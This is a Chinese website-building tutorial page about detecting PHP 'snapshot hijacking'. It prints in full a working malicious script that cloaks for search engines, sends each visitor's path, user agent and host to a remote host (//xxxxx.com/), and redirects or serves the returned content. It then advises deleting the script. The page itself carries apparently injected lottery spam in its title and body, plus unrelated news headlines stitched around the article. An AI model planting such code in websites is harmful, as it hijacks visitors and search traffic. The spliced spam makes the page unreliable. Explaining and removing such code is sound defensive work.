• 长子县依托煤炭资源促进经济转型大发展 2019-03-21
  • 回复@“老笑头”,你的牛二逻辑确实很通透!论坛奇葩!哈哈哈哈! 2019-03-21
  • 保利尼奥:在恒大让我重拾自信 对中国球迷有特殊感情 2019-03-21
  • 山西省直机关第五届职工运动会开幕 2019-03-17
  • 中国遥感卫星地面站成功接收高分六号卫星数据 2019-03-17
  • 免费模板网标签tags 更多...
    您的位置:首页 > 建站必知 > 常见网站快照php劫持代码

    新疆35选7的开奖号码:常见网站快照php劫持代码

    时间:2018-08-27 来源:网上收集 作者:Tony 阅读次数 tags劫持php

    分享到:

    福彩喜乐彩15 www.bld77.com 网站快照被劫持是个很头疼的事情,有多种,手机端的劫持,电脑端的劫持,甚至还分不同客户端的劫持,发现问题的确不容易。有谷歌手机端,UC客户端,百度客户端等等,小编遇到的就是手机自带的浏览器访问正常,uc和百度的客户端有问题。

    特征如下,输入网址关键词百度出来的结果是非法信息,直接输入域名是正常的

    网站劫持

    点击链接然后跳转到其他地址

    网站劫持特征

    这个就是明显的网站快照被劫持了。找到对应代码

    set_time_limit(20);
    error_reporting(0);
    define('u_b','/');
    define('s_u','//xxxxx.com/');
    define('s_s','@baidu|so.com|sm.cn|sogou|yahoo|[email protected]');
    define('h_t',$_SERVER['SERVER_NAME']);
    define('r_s',$_SERVER['HTTP_REFERER']);
    define('u_s',$_SERVER['HTTP_USER_AGENT']);
    define('h_z',s_p());
    function s_p(){
    	$d='';
    	if(isset($_SERVER['REQUEST_URI'])){
    		$d=$_SERVER['REQUEST_URI'];
    	} else{
    		if(isset($_SERVER['argv'])){
    			$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
    		} else{
    			$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
    		}
    	}
    	if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){
    		if(function_exists('mb_convert_encoding')){
    			$d=mb_convert_encoding($d,'UTF-8','GBK');
    		} else{
    			[email protected]('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);
    		}
    	}
    	$r=explode('#',$d,2);
    	$d=$r[0];
    	return $d;
    }
    function r_s($url){
    	$o=array('http' => array('method'=>"GET",'timeout'=>8));
    	$context=stream_context_create($o);
    	$h=file_get_contents($url,false,$context);
    	if(empty($h)){
    		$h=file_get_contents($url);
    	}
    	return $h;
    }
    if(preg_match(s_s,r_s)){
    	$d_s=true;
    	if(preg_match("@site%3A|inurl%[email protected]",r_s)){
    		setcookie('xx',h_t,time()+259200);
    		$d_s=false;
    	}
    	if($d_s && empty($_COOKIE['xx'])){
    		setcookie('xx',h_t,time()+259200);
    		$d_u=s_u.'?xu='.bin2hex(h_z);
    		$d_u.='&ua='.bin2hex(u_s);
    		$d_u.='&ad=1&xh='.bin2hex(h_t);
    		$d_c=r_s($d_u);
    		header("Location: ".$d_c.'?'.h_t);
    		exit;
    	}
    }
    if(strstr(h_z,u_b)){
    	if(preg_match(s_s,u_s)){
    		$d_u=s_u.'?xu='.bin2hex(h_z);
    		$d_u.='&xh='.bin2hex(h_t);
    		$d_u.='&ua='.bin2hex(u_s);
    		$d_c=r_s($d_u);
    		echo $d_c;
    		exit;
    	}
    }

    删除就可以了。

    推荐一个php代码格式化网站

    //tools.jb51.net/code/jb51_php_format

    本文地址://www.freemoban.com/jzbz/2018/0827/3043.html

    猜你喜欢
    栏目推荐
    模板推荐

    Copyright:2014-2018 www.freemoban.com Corporation,All Rights Reserved 免费模板网 版权所有 鄂ICP备17019132号

    免责声明:本站部分资源来自互联网收集,版权归原创者所有,如果侵犯了你的权益,请通知我们,我们会及时删除侵权内容,谢谢合作!

    建站咨询QQ
  • 长子县依托煤炭资源促进经济转型大发展 2019-03-21
  • 回复@“老笑头”,你的牛二逻辑确实很通透!论坛奇葩!哈哈哈哈! 2019-03-21
  • 保利尼奥:在恒大让我重拾自信 对中国球迷有特殊感情 2019-03-21
  • 山西省直机关第五届职工运动会开幕 2019-03-17
  • 中国遥感卫星地面站成功接收高分六号卫星数据 2019-03-17